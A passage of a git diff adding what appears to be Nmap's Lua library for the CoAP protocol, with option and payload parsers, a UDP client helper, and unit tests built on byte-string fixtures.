+-- failure.
+-- @return length Length of the option's value on success, or nil on
+-- failure.
+-- @return err nil on success, or an error message on failure.
+COAP.header.options.delta_length.parse = function(buf, pos)
+ assert(type(buf) == "string")
+ if #buf < 1 then
+ return false, nil, nil, "Cannot parse a string of less than one byte."
+ end
+
+ if not pos or pos == 0 then
+ pos = 1
+ end
+ assert(type(pos) == "number")
+ assert(pos <= #buf)
+
+ local delta_and_length, pos = string.unpack("B", buf, pos)
+ if not pos then
+ return false, nil, nil, delta_and_length
+ end
+ local delta = delta_and_length >> 4
+ local length = delta_and_length & 0x0F
+
+ -- Sanity check the first byte's value.
+ if delta == 15 then
+ return false, nil, nil, "Delta was 0xF, but a Packet Marker was not expected."
+ end
+
+ if length == 15 then
+ return false, nil, nil, "Length was 0xF, but a Packet Marker was not expected."
+ end
+
+ -- Sanity check the length required to parse the remainder of the fields.
+ local required_bytes = 0
+ local dspec = nil
+ local lspec = nil
+
+ if delta == 13 then
+ required_bytes = required_bytes + 1
+ dspec = "B"
+ elseif delta == 14 then
+ required_bytes = required_bytes + 2
+ delta = 269
+ dspec = ">I2"
+ end
+
+ if length == 13 then
+ required_bytes = required_bytes + 1
+ lspec = "B"
+ elseif length == 14 then
+ required_bytes = required_bytes + 2
+ length = 269
+ lspec = ">I2"
+ end
+
+ if pos + required_bytes - 1 > #buf then
+ return false, nil, nil, "Option delta and length fields extend past end of buffer."
+ end
+
+ -- Extract the remaining bytes of each field.
+ if dspec then
+ local num
+ num, pos = string.unpack(dspec, buf, pos)
+ if not pos then
+ return false, nil, nil, num
+ end
+ delta = delta + num
+ end
+
+ if lspec then
+ local num
+ num, pos = string.unpack(lspec, buf, pos)
+ if not pos then
+ return false, nil, nil, num
+ end
+ length = length + num
+ end
+
+ return pos, delta, length, nil
+end
+
+--- Finds the first instance of an option type in a header.
+--
+-- @name COAP.header.find_option
+--
+-- @see COAP.header.find_options
+--
+-- @param hdr Table representing a message header.
+-- @param name String naming an option type.
+--
+-- @return opt Table representing option on success, or nil if one was
+-- not found.
+COAP.header.find_option = function(hdr, name)
+ assert(type(hdr) == "table")
+ assert(type(name) == "string")
+
+ local opts = COAP.header.find_options(hdr, name, 1)
+ if next(opts) == nil then
+ return nil
+ end
+
+ return opts[1]
+end
+
+--- Finds all instances of an option type in a header.
+--
+-- @name COAP.header.find_options
+--
+-- @param hdr Table representing a message header.
+-- @param name String naming an option type.
+-- @param max Maximum number of options to return.
+--
+-- @return opts Table containing option all options found, may be
+-- empty.
+COAP.header.find_options = function(hdr, name, max)
+ assert(type(hdr) == "table")
+ assert(type(name) == "string")
+ assert(not max or type(max) == "number")
+
+ local opts = {}
+
+ local count = 1
+ for _, opt in ipairs(hdr.options) do
+ if opt.name == name then
+ table.insert(opts, opt.value)
+ if max and count >= max then
+ break
+ end
+ count = count + 1
+ end
+ end
+
+ return opts
+end
+
+COAP.payload.content_formats = {
+ ["text/plain"] = "text_plain",
+ ["application/link-format"] = "application_link_format",
+ ["application/xml"] = "application_xml",
+ ["application/octet-stream"] = "application_octet_stream",
+ ["application/exi"] = "application_exi",
+ ["application/json"] = "application_json",
+}
+
+--- Parse the payload of a CoAP message.
+--
+-- @name COAP.payload.parse
+--
+-- 5.5. Payloads and Representations
+--
+-- Never use this function directly on a payload that has a Block
+-- option, as there will only be a partial payload in such a message.
+-- The top-level <ref>COAP.parse</ref> is smart enough not to
+-- auto-parse messages with partial payloads.
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return val Object containing parsed payload on success, string
+-- containing the error message on failure.
+COAP.payload.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string", type(buf))
+
+ -- Find the content format option which defines the manner in which
+ -- the payload should be interpreted.
+ local cf = COAP.header.find_option(hdr, "content_format")
+
+ -- 5.5.2. Diagnostic Payload
+ --
+ -- If there's no content-format option, then the payload represents
+ -- a human-readable string in UTF-8, for which we already have a
+ -- parser.
+ if not cf then
+ return true, COAP.header.options.value.string.parse(buf)
+ end
+
+ -- If the content format wasn't recognized, it'll come back as a
+ -- number and we'll just log that and return the raw payload.
+ if type(cf) == "number" then
+ stdnse.debug1("Content format ID %d not recognized for payload.", cf)
+ return false, buf
+ end
+
+ -- Find the parser associated with the content format.
+ local fn_name = COAP.payload.content_formats[cf]
+ if not fn_name then
+ stdnse.debug1("Content format %s not implemented for payload.", cf)
+ return false, buf
+ end
+
+ -- Run the parser associated with the content format.
+ local fn = COAP.payload[fn_name].parse
+ assert(fn)
+
+ return fn(hdr, buf)
+end
+
+--- Parse the Plain Text payload of a CoAP message.
+--
+-- @name COAP.payload.text_plain.parse
+--
+-- https://tools.ietf.org/html/rfc2046
+-- https://tools.ietf.org/html/rfc3676
+--
+-- This function will return its input, since plain text is assumed to
+-- have no additional structure.
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return val String containing parsed payload on success, string
+-- containing the error message on failure.
+COAP.payload.text_plain.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string")
+
+ return true, buf
+end
+
+--- Parse the Link Format payload of a CoAP message.
+--
+-- @name COAP.payload.link_format.parse
+--
+-- https://tools.ietf.org/html/rfc6690
+--
+-- This format is complicated enough that parsing it accurately is
+-- unlikely to be worth the effort. As a result, we have chosen the
+-- following simplifications.
+-- 1) URIs can contain any character except '>'.
+-- 2) Parameters can have two forms:
+-- a) ;name=value-with-semicolons-and-commas-forbidden
+-- b) ;name="value-with-semicolons-and-commas-permitted"
+-- If there is a need for full parsing, it can be addressed later.
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return val Table containing parsed payload on success, string
+-- containing the error message on failure.
+COAP.payload.application_link_format.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string")
+
+ local P = lpeg.P
+ local S = lpeg.S
+ local Cg = lpeg.Cg
+ local Cs = lpeg.Cs
+ local Ct = lpeg.Ct
+
+ local param_value_quoted = P'"' * Cs((P(1) - P'"')^0) * P'"'
+ local param_value_bare = Cs((P(1) - S';,')^0)
+ local param_value = param_value_quoted + param_value_bare
+ local param_name = Cs((P(1) - P'=')^1)
+ local param = Ct(P';' * Cg(param_name, 'name') * P'=' * Cg(param_value, 'value'))
+ local uri = P'<' * Cs((P(1) - P'>')^1) * P'>'
+ local link = Ct(Cg(uri, 'name') * Cg(Ct(param^0), 'parameters'))
+ local patt = Ct(link * (P',' * link)^0)
+
+ local matches = lpeg.match(patt, buf)
+ if not matches then
+ return false, ("Failed to format payload.")
+ end
+
+ return true, matches
+end
+
+--- Parse the XML payload of a CoAP message.
+--
+-- @name COAP.payload.application_xml.parse
+--
+-- https://tools.ietf.org/html/rfc3023
+--
+-- This function is unimplemented.
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return response Object containing parsed payload on success,
+-- string containing the error message on failure.
+COAP.payload.application_xml.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string")
+
+ return false, "Unimplemented"
+end
+
+--- Parse the Octet Stream payload of a CoAP message.
+--
+-- @name COAP.payload.application_octet_stream.parse
+--
+-- https://tools.ietf.org/html/rfc2045
+-- https://tools.ietf.org/html/rfc2046
+--
+-- This function will return its input, since it is assumed to have no
+-- additional structure.
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return val String containing parsed payload on success, string
+-- containing the error message on failure.
+COAP.payload.application_octet_stream.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string")
+
+ return true, buf
+end
+
+--- Parse the EXI payload of a CoAP message.
+--
+-- @name COAP.payload.exi.parse
+--
+-- https://www.w3.org/TR/2014/REC-exi-20140211/
+--
+-- This function is unimplemented.
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return response Object containing parsed payload on success,
+-- string containing the error message on failure.
+COAP.payload.application_exi.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string")
+
+ return false, "Unimplemented"
+end
+
+--- Parse the JSON payload of a CoAP message.
+--
+-- @name COAP.payload.json.parse
+--
+-- https://tools.ietf.org/html/rfc7159
+--
+-- @param hdr Table representing a message header.
+-- @param buf String from which to parse the payload.
+--
+-- @return status True on success, false on failure.
+-- @return response Object containing parsed payload on success,
+-- string containing the error message on failure.
+COAP.payload.application_json.parse = function(hdr, buf)
+ assert(type(hdr) == "table")
+ assert(type(buf) == "string")
+
+ return json.parse(buf)
+end
+
+Comm = {
+ --- Creates a new Client instance.
+ --
+ -- @name Comm.new
+ --
+ -- @param host String as received by the action method.
+ -- @param port Number as received by the action method.
+ -- @param options Table as received by the action method.
+ -- @return o Instance of Client.
+ new = function(self, host, port, options)
+ local o = {host = host, port = port, options = options or {}}
+ -- Choose something random, while still giving lots of the 16-bit range
+ -- available to grow into.
+ o["message_id"] = math.random(16384)
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the CoAP endpoint.
+ --
+ -- @name Comm.connect
+ --
+ -- @return status true on success, false on failure.
+ -- @return err string containing the error message on failure.
+ connect = function(self, options)
+ local pkt = self:build(options)
+ local sd, response, _, _ = comm.tryssl(self.host, self.port, pkt, {["proto"] = "udp"})
+ if not sd then
+ return false, response
+ end
+
+ -- The socket connected successfully over whichever protocol.
+ self.socket = sd
+
+ -- We now have some data that came back from the connection.
+ return self:parse(response)
+ end,
+
+ --- Sends a CoAP message.
+ --
+ -- @name Comm.send
+ --
+ -- @param pkt String representing a raw message.
+ -- @return status true on success, false on failure.
+ -- @return err string containing the error message on failure.
+ send = function(self, pkt)
+ assert(type(pkt) == "string")
+ return self.socket:send(pkt)
+ end,
+
+ --- Receives an MQTT control packet.
+ --
+ -- @name Comm.receive
+ --
+ -- @return status True on success, false on failure.
+ -- @return response String representing a raw message on success,
+ -- string containing the error message on failure.
+ receive = function(self)
+ local status, pkt = self.socket:receive()
+ if not status then
+ return false, "Failed to receive a response from the server."
+ end
+
+ return true, pkt
+ end,
+
+ --- Builds a CoAP message.
+ --
+ -- @name Comm.build
+ --
+ -- @param options Table of options accepted by the requested type of
+ -- message.
+ -- @return status true on success, false on failure.
+ -- @return response String representing a raw message on success, or
+ -- containing the error message on failure.
+ build = function(self, options, payload)
+ assert(type(options) == "table")
+
+ -- Augment with a message ID we control.
+ if not options.id then
+ self.message_id = self.message_id + 1
+ options.id = self.message_id
+ end
+
+ return COAP.header.build(options, payload)
+ end,
+
+ --- Parses a CoAP message.
+ --
+ -- @name Comm.parse
+ --
+ -- @param buf String from which to parse the message.
+ -- @param pos Position from which to start parsing.
+ -- @return pos String index on success, false on failure.
+ -- @return response Table representing a CoAP message on success,
+ -- string containing the error message on failure.
+ parse = function(self, buf, pos)
+ assert(type(buf) == "string")
+
+ if not pos then
+ pos = 0
+ end
+ assert(type(pos) == "number")
+ assert(pos < #buf)
+
+ local pos, hdr = COAP.parse(buf, pos)
+ if not pos then
+ return false, hdr
+ end
+
+ return pos, hdr
+ end,
+
+ --- Disconnects from the CoAP endpoint.
+ --
+ -- @name Comm.close
+ close = function(self)
+ return self.socket:close()
+ end,
+}
+
+Helper = {
+ --- Creates a new Helper instance.
+ --
+ -- @name Helper.create
+ --
+ -- @param host String as received by the action method.
+ -- @param port Number as received by the action method.
+ -- @param options Table as received by the action method.
+ -- @return o instance of Client
+ new = function(self, host, port, opt)
+ local o = { host = host, port = port, opt = opt or {} }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ --- Connects to the CoAP endpoint.
+ --
+ -- @name Helper.connect
+ --
+ -- @param options Table of options for the initial message.
+ -- @return status True on success, false on failure.
+ -- @return response Table representing the response on success,
+ -- string containing the error message on failure.
+ connect = function(self, options)
+ if not options.code then
+ options.code = "get"
+ end
+
+ if not options.type then
+ options.type = "confirmable"
+ end
+
+ if not options.options then
+ options.options = {}
+ end
+
+ assert(options.uri)
+ local components = stringaux.strsplit("/", options.uri)
+ for _, component in ipairs(components) do
+ if component ~= "" then
+ table.insert(options.options, {["name"] = "uri_path", ["value"] = component})
+ end
+ end
+
+ self.comm = Comm:new(self.host, self.port, self.opt)
+
+ local status, response = self.comm:connect(options)
+ if not status then
+ return false, response
+ end
+
+ -- If the response's ID is not what we expect, then we're going to assume
+ -- that we're not talking to a CoAP service.
+ if response.id ~= self.comm.message_id then
+ return false, "Message ID in response does not match request."
+ end
+
+ return status, response
+ end,
+
+ --- Sends a request to the CoAP endpoint.
+ --
+ -- @name Helper.send
+ --
+ -- @param options Table of options for the message.
+ -- @param payload Payload of message.
+ -- @return status True on success, false on failure.
+ -- @return err String containing the error message on failure.
+ send = function(self, options, payload)
+ assert(type(options) == "table")
+
+ local pkt = self.comm:build(options, payload)
+
+ return self.comm:send(pkt)
+ end,
+
+ --- Sends a request to the CoAP, and receive a response.
+ --
+ -- @name Helper.request
+ --
+ -- @param options Table of options for the message.
+ -- @param payload String containing the message body.
+ -- @return status True on success, false on failure.
+ -- @return response Table representing a message with the
+ -- corresponding message ID on success, string containing
+ -- the error message on failure.
+ request = function(self, options, payload)
+ assert(type(options) == "table")
+
+ local status, err = self:send(options, payload)
+ if not status then
+ return false, err
+ end
+
+ local id
+ if options.id then
+ id = options.id
+ else
+ id = self.comm.o["message_id"]
+ end
+
+ return self:receive({id})
+ end,
+
+ --- Listens for a response matching a list of types.
+ --
+ -- @name Helper.receive
+ --
+ -- @param ids Table of message IDs to wait for.
+ -- @param timeout Number of seconds to listen for matching response,
+ -- defaults to 5s.
+ -- @return status True on success, false on failure.
+ -- @return response Table representing any message on success,
+ -- string containing the error message on failure.
+ receive = function(self, ids, timeout)
+ assert(type(ids) == "table")
+
+ if not timeout then
+ timeout = 5
+ end
+ assert(type(timeout) == "number")
+
+ local end_time = nmap.clock_ms() + timeout * 1000
+ while true do
+ -- Get the raw packet from the socket.
+ local status, pkt = self.comm:receive()
+ if not status then
+ return false, pkt
+ end
+
+ -- Parse the raw packet into a table.
+ local status, hdr = self.comm:parse(pkt)
+ if not status then
+ return false, hdr
+ end
+
+ -- Check for messages matching our message IDs.
+ for _, id in pairs(ids) do
+ if hdr.id == id then
+ return true, hdr
+ end
+ end
+
+ -- Check timeout, but only if we care about it.
+ if timeout > 0 then
+ if nmap.clock_ms() >= end_time then
+ break
+ end
+ end
+ end
+
+ return false, ("No messages received in %d seconds matching desired message IDs."):format(timeout)
+ end,
+
+ -- Closes the socket with the endpoint.
+ --
+ -- @name Helper.close
+ close = function(self)
+ end,
+}
+
+-- Skip unit tests unless we're explicitly testing.
+if not unittest.testing() then
+ return _ENV
+end
+
+local _test_id = 0
+local function test_id()
+ _test_id = _test_id + 1
+ return _test_id
+end
+
+test_suite = unittest.TestSuite:new()
+
+for test_name, test_code in pairs(COAP.header.codes.ids) do
+ local test_cls = test_code[1]
+ local test_dtl = test_code[2]
+
+ -- Build the packet.
+ local str = COAP.header.codes.build(test_name)
+
+ -- Parse, implicitly from the first character.
+ local pos, name = COAP.header.codes.parse(str)
+ test_suite:add_test(unittest.equal(name, test_name), test_id())
+ test_suite:add_test(unittest.equal(pos, #str + 1), test_id())
+
+ -- Parse, explicitly from the zero-indexed first character.
+ local pos, name = COAP.header.codes.parse(str, 0)
+ test_suite:add_test(unittest.equal(name, test_name), test_id())
+ test_suite:add_test(unittest.equal(pos, #str + 1), test_id())
+
+ -- Parse, explicitly from the one-indexed first character.
+ local pos, name = COAP.header.codes.parse(str, 1)
+ test_suite:add_test(unittest.equal(name, test_name), test_id())
+ test_suite:add_test(unittest.equal(pos, #str + 1), test_id())
+
+ -- Parse, explicitly from the one-indexed second character.
+ local pos, name = COAP.header.codes.parse("!" .. str, 2)
+ test_suite:add_test(unittest.equal(name, test_name), test_id())
+ test_suite:add_test(unittest.equal(pos, #str + 2), test_id())
+end
+
+local tests = {
+ { 0, string.char( )},
+ { 1, string.char(0x01 )},
+ { 2, string.char(0x02 )},
+ { 254, string.char(0xFE )},
+ { 255, string.char(0xFF )},
+ { 256, string.char(0x01, 0x00 )},
+ { 257, string.char(0x01, 0x01 )},
+ { 65534, string.char(0xFF, 0xFE )},
+ { 65535, string.char(0xFF, 0xFF )},
+ { 65536, string.char(0x01, 0x00, 0x00 )},
+ { 65537, string.char(0x01, 0x00, 0x01 )},
+ { 16777214, string.char(0xFF, 0xFF, 0xFE )},
+ { 16777215, string.char(0xFF, 0xFF, 0xFF )},
+ { 16777216, string.char(0x01, 0x00, 0x00, 0x00)},
+ { 16777217, string.char(0x01, 0x00, 0x00, 0x01)},
+ {4294967293, string.char(0xFF, 0xFF, 0xFF, 0xFD)},
+ {4294967294, string.char(0xFF, 0xFF, 0xFF, 0xFE)},
+ {4294967295, string.char(0xFF, 0xFF, 0xFF, 0xFF)},
+}
+
+for _, test in ipairs(tests) do
+ local test_num = test[1]
+ local test_str = test[2]
+
+ -- Build the field.
+ local str = COAP.header.options.value.uint.build(test_num)
+ test_suite:add_test(unittest.equal(str, test_str), test_id())
+
+ -- Parse the field.
+ local num = COAP.header.options.value.uint.parse(test_str)
+ test_suite:add_test(unittest.equal(num, test_num), test_id())
+end
+
+-- 3.1. Option Format
+-- There are five different values at which to test the options
+-- delta and length fields:
+-- 1) Start
+-- 2) Start + 1
+-- 3) Middle
+-- 4) End - 1
+-- 5) End
+-- This should be done for each of the three possible field lengths,
+-- and at a variety of locations in the buffer.
+local tests = {
+ { 0, 0, string.char(0x00 )},
+ { 1, 0, string.char(0x10 )},
+ { 0, 1, string.char(0x01 )},
+ { 1, 1, string.char(0x11 )},
+ { 2, 1, string.char(0x21 )},
+ { 1, 2, string.char(0x12 )},
+ { 2, 2, string.char(0x22 )},
+ { 11, 11, string.char(0xBB )},
+ { 12, 11, string.char(0xCB )},
+ { 11, 12, string.char(0xBC )},
+ { 12, 12, string.char(0xCC )},
+ { 13, 12, string.char(0xDC, 0x00 )},
+ { 12, 13, string.char(0xCD, 0x00 )},
+ { 13, 13, string.char(0xDD, 0x00, 0x00 )},
+ { 14, 13, string.char(0xDD, 0x01, 0x00 )},
+ { 13, 14, string.char(0xDD, 0x00, 0x01 )},
+ { 14, 14, string.char(0xDD, 0x01, 0x01 )},
+ { 267, 267, string.char(0xDD, 0xFE, 0xFE )},
+ { 268, 267, string.char(0xDD, 0xFF, 0xFE )},
+ { 267, 268, string.char(0xDD, 0xFE, 0xFF )},
+ { 268, 268, string.char(0xDD, 0xFF, 0xFF )},
+ { 269, 268, string.char(0xED, 0x00, 0x00, 0xFF )},
+ { 268, 269, string.char(0xDE, 0xFF, 0x00, 0x00 )},
+ { 269, 269, string.char(0xEE, 0x00, 0x00, 0x00, 0x00)},
+ { 270, 269, string.char(0xEE, 0x00, 0x01, 0x00, 0x00)},
+ { 269, 270, string.char(0xEE, 0x00, 0x00, 0x00, 0x01)},
+ { 270, 270, string.char(0xEE, 0x00, 0x01, 0x00, 0x01)},
+ {65802, 65802, string.char(0xEE, 0xFF, 0xFD, 0xFF, 0xFD)},
+ {65803, 65802, string.char(0xEE, 0xFF, 0xFE, 0xFF, 0xFD)},
+ {65802, 65803, string.char(0xEE, 0xFF, 0xFD, 0xFF, 0xFE)},
+ {65803, 65803, string.char(0xEE, 0xFF, 0xFE, 0xFF, 0xFE)},
+ {65804, 65803, string.char(0xEE, 0xFF, 0xFF, 0xFF, 0xFE)},
+ {65803, 65804, string.char(0xEE, 0xFF, 0xFE, 0xFF, 0xFF)},
+ {65804, 65804, string.char(0xEE, 0xFF, 0xFF, 0xFF, 0xFF)},
+}
+
+for _, test in ipairs(tests) do
+ local test_del = test[1]
+ local test_len = test[2]
+ local test_str = test[3]
+
+ -- Build the field.
+ local str = COAP.header.options.delta_length.build(test_del, test_len)
+ test_suite:add_test(unittest.equal(str, test_str), test_id())
+
+ -- Parse, implicitly from the first character.
+ local pos, del, len, err = COAP.header.options.delta_length.parse(test_str)
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+ test_suite:add_test(unittest.equal(del, test_del), test_id())
+ test_suite:add_test(unittest.equal(len, test_len), test_id())
+ test_suite:add_test(unittest.is_nil(err), test_id())
+
+ -- -- Parse, explicitly from the zero-indexed first character.
+ local pos, del, len, err = COAP.header.options.delta_length.parse(test_str, 0)
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+ test_suite:add_test(unittest.equal(del, test_del), test_id())
+ test_suite:add_test(unittest.equal(len, test_len), test_id())
+ test_suite:add_test(unittest.is_nil(err), test_id())
+
+ -- Parse, explicitly from the one-indexed first character.
+ local pos, del, len, err = COAP.header.options.delta_length.parse(test_str, 1)
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+ test_suite:add_test(unittest.equal(del, test_del), test_id())
+ test_suite:add_test(unittest.equal(len, test_len), test_id())
+ test_suite:add_test(unittest.is_nil(err), test_id())
+
+ -- -- Parse, explicitly from the one-indexed second character.
+ local pos, del, len, err = COAP.header.options.delta_length.parse("!" .. test_str, 2)
+ test_suite:add_test(unittest.equal(pos, #test_str + 2), test_id())
+ test_suite:add_test(unittest.equal(del, test_del), test_id())
+ test_suite:add_test(unittest.equal(len, test_len), test_id())
+ test_suite:add_test(unittest.is_nil(err), test_id())
+
+ -- Truncate string and attempt to parse, expecting error.
+ local short_str = test_str:sub(1, #test_str - 1)
+ test_suite:add_test(unittest.equal(#short_str, #test_str - 1), test_id())
+ local pos, del, len, err = COAP.header.options.delta_length.parse(short_str)
+ test_suite:add_test(unittest.is_false(pos), test_id())
+ test_suite:add_test(unittest.is_nil(del), test_id())
+ test_suite:add_test(unittest.is_nil(len), test_id())
+ test_suite:add_test(unittest.not_nil(err), test_id())
+end
+
+-- See section "3.1. Option Format" of the standard.
+local tests = {
+ {
+ -- Before
+ {
+ {["name"] = "if_none_match"},
+ },
+ -- After
+ {
+ {["name"] = "if_none_match"},
+ },
+ string.char(0x50)
+ },
+ {
+ -- Before
+ {
+ {["name"] = "etag", ["value"] = "ETAGETAG"},
+ },
+ -- After
+ {
+ {["name"] = "etag", ["value"] = "ETAGETAG"},
+ },
+ "\x48ETAGETAG"
+ },
+ {
+ -- Before
+ {
+ {["name"] = "max_age", ["value"] = 0},
+ },
+ -- After
+ {
+ {["name"] = "max_age", ["value"] = 0},
+ },
+ string.char(0xD0, 0x01)
+ },
+ {
+ -- Before
+ {
+ {["name"] = "max_age", ["value"] = 0},
+ {["name"] = "uri_path", ["value"] = "foo"},
+ },
+ -- After
+ {
+ {["name"] = "uri_path", ["value"] = "foo"},
+ {["name"] = "max_age", ["value"] = 0},
+ },
+ "\xB3foo\x30"
+ },
+ {
+ -- Before
+ {
+ {["name"] = "uri_path", ["value"] = ".well-known"},
+ {["name"] = "uri_path", ["value"] = "core"},
+ },
+ -- After
+ {
+ {["name"] = "uri_path", ["value"] = ".well-known"},
+ {["name"] = "uri_path", ["value"] = "core"},
+ },
+ "\xBB.well-known\x04core"
+ },
+ {
+ -- Before
+ {
+ {["name"] = "uri_path", ["value"] = ".well-known"},
+ {["name"] = "if_none_match"},
+ {["name"] = "max_age", ["value"] = 0},
+ {["name"] = "etag", ["value"] = "ETAGETAG"},
+ {["name"] = "uri_path", ["value"] = "core"},
+ },
+ -- After
+ {
+ {["name"] = "etag", ["value"] = "ETAGETAG"},
+ {["name"] = "if_none_match"},
+ {["name"] = "uri_path", ["value"] = ".well-known"},
+ {["name"] = "uri_path", ["value"] = "core"},
+ {["name"] = "max_age", ["value"] = 0},
+ },
+ "\x48ETAGETAG\x10\x6B.well-known\x04core\x30"
+ },
+}
+
+for _, test in ipairs(tests) do
+ local test_opt1 = test[1]
+ local test_opt2 = test[2]
+ local test_str = test[3]
+
+ -- Build the packet.
+ local str = COAP.header.options.build(test_opt1)
+ test_suite:add_test(unittest.equal(str, test_str), test_id())
+
+ -- Parse, implicitly from the first character.
+ local pos, opt = COAP.header.options.parse(test_str)
+ test_suite:add_test(unittest.identical(opt, test_opt2), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+
+ -- Parse, explicitly from the zero-indexed first character.
+ local pos, opt = COAP.header.options.parse(test_str, 0)
+ test_suite:add_test(unittest.identical(opt, test_opt2), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+
+ -- Parse, explicitly from the one-indexed first character.
+ local pos, opt = COAP.header.options.parse(test_str, 1)
+ test_suite:add_test(unittest.identical(opt, test_opt2), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+
+ -- Parse, explicitly from the one-indexed second character.
+ local pos, opt = COAP.header.options.parse("!" .. test_str, 2)
+ test_suite:add_test(unittest.identical(opt, test_opt2), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 2), test_id())
+end
+
+local tests = {
+ {
+ {
+ ["version"] = 1,
+ ["code"] = "get",
+ ["id"] = 0x1234,
+ ["type"] = "confirmable",
+ ["token"] = "nmapcoap",
+ ["token_length"] = 8,
+ ["options"] = {
+ {["name"] = "uri_path", ["value"] = ".well-known"},
+ {["name"] = "uri_path", ["value"] = "core"},
+ },
+ },
+ "\x48\x01\x12\x34nmapcoap\xBB.well-known\x04core"
+ },
+}
+
+for _, test in ipairs(tests) do
+ local test_hdr = test[1]
+ local test_str = test[2]
+
+ -- Build the packet.
+ local str = COAP.header.build(test_hdr)
+ test_suite:add_test(unittest.equal(str, test_str), test_id())
+
+ -- Parse, implicitly from the first character.
+ local pos, hdr = COAP.header.parse(test_str)
+ test_suite:add_test(unittest.identical(hdr, test_hdr), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+
+ -- Parse, explicitly from the zero-indexed first character.
+ local pos, hdr = COAP.header.parse(test_str, 0)
+ test_suite:add_test(unittest.identical(hdr, test_hdr), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+
+ -- Parse, explicitly from the one-indexed first character.
+ local pos, hdr = COAP.header.parse(test_str, 1)
+ test_suite:add_test(unittest.identical(hdr, test_hdr), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 1), test_id())
+
+ -- Parse, explicitly from the one-indexed second character.
+ local pos, hdr = COAP.header.parse("!" .. test_str, 2)
+ test_suite:add_test(unittest.identical(hdr, test_hdr), test_id())
+ test_suite:add_test(unittest.equal(pos, #test_str + 2), test_id())
+end
+
+local tests = {
+ {
+ "application/link-format",
+ "",
+ "Failed to format payload."
+ },
+ {
+ "application/link-format",
+ "<>",
+ "Failed to format payload."
+ },
+ {
+ "application/link-format",
+ "<>>",
+ "Failed to format payload."
+ },
+ {
+ "application/link-format",
+ "<<>",
+ {{["name"] = "<", ["parameters"] = {}}}
+ },
+ {
+ "application/link-format",
+ "<a>,<b>",
+ {
+ {["name"] = "a", ["parameters"] = {}},
+ {["name"] = "b", ["parameters"] = {}},
+ }
+ },
+ {
+ "application/link-format",
+ "<a>,<b>;param1=B1",
+ {
+ {["name"] = "a", ["parameters"] = {}},
+ {
+ ["name"] = "b",
+ ["parameters"] = {
+ {["name"] = "param1", ["value"] = 'B1'}
+ }
+ },
+ }
+ },
+ {
+ "application/link-format",
+ "<a>,<b>;param1=B1,<c>;param2=C1;param3=C2",
+ {
+ {["name"] = "a", ["parameters"] = {}},
+ {
+ ["name"] = "b",
+ ["parameters"] = {
+ {["name"] = "param1", ["value"] = 'B1'}
+ }
+ },
+ {
+ ["name"] = "c",
+ ["parameters"] = {
+ {["name"] = "param2", ["value"] = 'C1'},
+ {["name"] = "param3", ["value"] = 'C2'}
+ }
+ },
+ }
+ },
+ {
+ "application/link-format",
+ '<a>,<b>;param1=B1,<c>;param2=C1;param3=C2,<d>;param4=";";param5=",";param6= ",<e>',
+ {
+ {["name"] = "a", ["parameters"] = {}},
+ {
+ ["name"] = "b",
+ ["parameters"] = {
+ {["name"] = "param1", ["value"] = 'B1'}
+ }
+ },
+ {
+ ["name"] = "c",
+ ["parameters"] = {
+ {["name"] = "param2", ["value"] = 'C1'},
+ {["name"] = "param3", ["value"] = 'C2'}
+ }
+ },
+ {
+ ["name"] = "d",
+ ["parameters"] = {
+ {["name"] = "param4", ["value"] = ';'},
+ {["name"] = "param5", ["value"] = ','},
+ {["name"] = "param6", ["value"] = ' "'},
+ }
+ },
+ {["name"] = "e", ["parameters"] = {}},
+ }
+ },
+ {
+ "application/json",
+ '{}',
+ {}
+ },
+ {
+ "application/json",
+ '{"a": false}',
+ {["a"] = false}
+ },
+ {
+ "application/json",
+ '{"a": {"b": true}}',
+ {["a"] = {["b"] = true}}
+ },
+ {
+ "text/plain",
+ "nmap",
+ "nmap"
+ },
+ {
+ "application/octet-stream",
+ string.char(0x01, 0x23, 0x45, 0x56, 0x89, 0xAB, 0xCD, 0xEF),
+ string.char(0x01, 0x23, 0x45, 0x56, 0x89, 0xAB, 0xCD, 0xEF),
+ },
+}
+
+for _, test in ipairs(tests) do
+ local test_fmt = test[1]
+ local test_str = test[2]
+ local test_res = test[3]
+
+ local hdr = {
+ ["options"] = {
+ {
+ ["name"] = "content_format",
+ ["value"] = test_fmt
+ }
+ }
+ }
+
+ -- Parse, implicitly from the first character.
+ local status, res = COAP.payload.parse(hdr, test_str)
+ test_suite:add_test(unittest.identical(res, test_res), test_id())
+end
+
+return _ENV;
diff --git a/nselib/comm.lua b/nselib/comm.lua
new file mode 100644
index 0000000..790643d
--- /dev/null
+++ b/nselib/comm.lua
@@ -0,0 +1,294 @@
+---
+-- Common communication functions for network discovery tasks like
